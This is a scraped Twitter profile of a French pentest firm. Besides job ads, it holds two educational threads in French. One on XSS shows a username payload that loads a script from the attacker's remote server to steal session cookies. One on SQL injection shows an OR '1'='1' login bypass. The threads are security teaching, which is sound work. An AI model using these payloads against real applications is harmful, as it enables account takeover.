VAADATA (@vaadata) header
VAADATA (@vaadata) profile picture

VAADATA

@vaadata

Specialized in #pentest, we are passionate about #infosec #security

 LYON - FRANCE
vaadata.com
Joined November 2013
  • Tweets1.5K
  • Following273
  • Followers364
📣#Hiring : un-e ingénieur-e avant-vente #cybersécurité pour rejoindre notre équipe 🎉👋 Vous accompagnerez nos clients depuis le diagnostic technique de leurs besoins jusqu’à la proposition de solutions adaptées à leur contexte 🤝 👉linkedin.com/jobs/view/33926… #cyberjob
on #recrute : pre-sales cybersecurity engineer

ALT on #recrute : pre-sales cybersecurity engineer

1
[Hiring 👀] Nous recherchons un-e stagiaire #pentester pour rejoindre notre équipe sur Lyon 🎉👋 L’annonce et toutes les infos → jobs.yeswehack.com/job/pente… #infosecjobs #cyberjob #stage
2
2
Dans un prochain thread, nous expliquerons comment se prémunir des failles XSS, cependant si vous ne pouvez pas attendre 🤓, vous trouverez plus d’informations ici 👉 vaadata.com/blog/fr/failles-… 15/15
Failles XSS : attaques et bonnes pratiques sécurité

ALT Failles XSS : attaques et bonnes pratiques sécurité

1
2️⃣ les XSS reflétées : Dans ce cas-là, le script malveillant est fourni dans l’URL et repris dans la réponse du serveur. Cette attaque nécessite donc une interaction de l’utilisateur (cliquer sur le lien) 13/15
Schéma attaque XSS reflétée

ALT Schéma attaque XSS reflétée

1
1️⃣ les XSS stockées : Comme dans l’exemple ci-dessus, le script malveillant (le script src…) sera stocké sur le serveur. Cela aura pour conséquence que tous les utilisateurs qui affichent la donnée non nettoyée exécuteront le script 12/15
Schéma d’une attaque XSS stockée

ALT Schéma d’une attaque XSS stockée

1
Pour en revenir aux XSS, il faut savoir qu’il en existe 3️⃣ types 11/15
1
Comme l’attaquant possède maintenant un jeton de session, il peut maintenant usurper le compte du backoffice et donc être super admin 9/15
Bruteforcer le back office << Avoir une XSS dans le back office et avoir un compte

ALT Bruteforcer le back office << Avoir une XSS dans le back office et avoir un compte

1
Exemple : Une application permet à un utilisateur de saisir son nom d’utilisateur, un attaquant va par exemple saisir le code suivant : 5/15
<script src=‘ressource_sur_mon_serveur_distant.js’></script>

ALT <script src=‘ressource_sur_mon_serveur_distant.js’></script>

1
Avec du JavaScript interprété, plusieurs scénarios sont possibles comme le vol de session, la récupération d’informations sensibles sur la page… 4/15
XSS pour voler les cookies de sessions

ALT XSS pour voler les cookies de sessions

1
Qu’est-ce qu’une faille XSS ? Une #XSS est une vulnérabilité de type injection 💉, tout comme les injections SQL L’idée est donc d’injecter du code qui sera interprété   2/15 #codeinjection #vulnerabilité
XSS et SQL injection handshake meme

ALT XSS et SQL injection handshake meme

1
XSS, a.k.a (Cross-site Scripting), une vulnérabilité particulièrement répandue sur les applications web : un thread 🧵 1/15 #devweb #websecurite
Cross-Site-Scripting

ALT Cross-Site-Scripting

1
2
5
Note : La payload que nous avons utilisée ci-dessus est l’une des nombreuses payloads de contournement d’authentification que nous pouvons utiliser pour contourner la logique d’authentification 9/10
Meme : et là j’ai une injection SQL sur le login - et paf je suis admin

ALT Meme : et là j’ai une injection SQL sur le login - et paf je suis admin

1
2
La requête sera donc la suivante et retournera bien la valeur « true », ce qui aura pour effet de nous connecter en tant qu’admin 8/10
SELECT * FROM users WHERE username=‘admin’ OR ‘1’=‘1’ AND password=‘demo’

ALT SELECT * FROM users WHERE username=‘admin’ OR ‘1’=‘1’ AND password=‘demo’

1
1
Nous pouvons en déduire que la requête envoyée à la base de données est : 4/10
SELECT * FROM users WHERE username=‘‘‘ AND password=‘demo’;

ALT SELECT * FROM users WHERE username=‘‘‘ AND password=‘demo’;

1
1
C’est le cas ici : l’ajout d’un guillemet donne l’erreur suivante  3/10
Check the right syntax to use near ‘’’ AND password=‘demo’ at line 1

ALT Check the right syntax to use near ‘’’ AND password=‘demo’ at line 1

1
1
Contourner le login via une injection SQL Un thread  1/10 #SQLi #injectionSQL #websecurite
‘Injection SQL’ murmuré à l’oreille

ALT ‘Injection SQL’ murmuré à l’oreille

1
6
7
[#Hiring 👀] Nous recherchons un-e pentester pour rejoindre notre équipe sur Lyon ou en remote 🎉👋 De quoi sera fait votre quotidien ? 👇 #pentest #pentesters
On recrute : pentester !

ALT On recrute : pentester !

1
3
2
Load more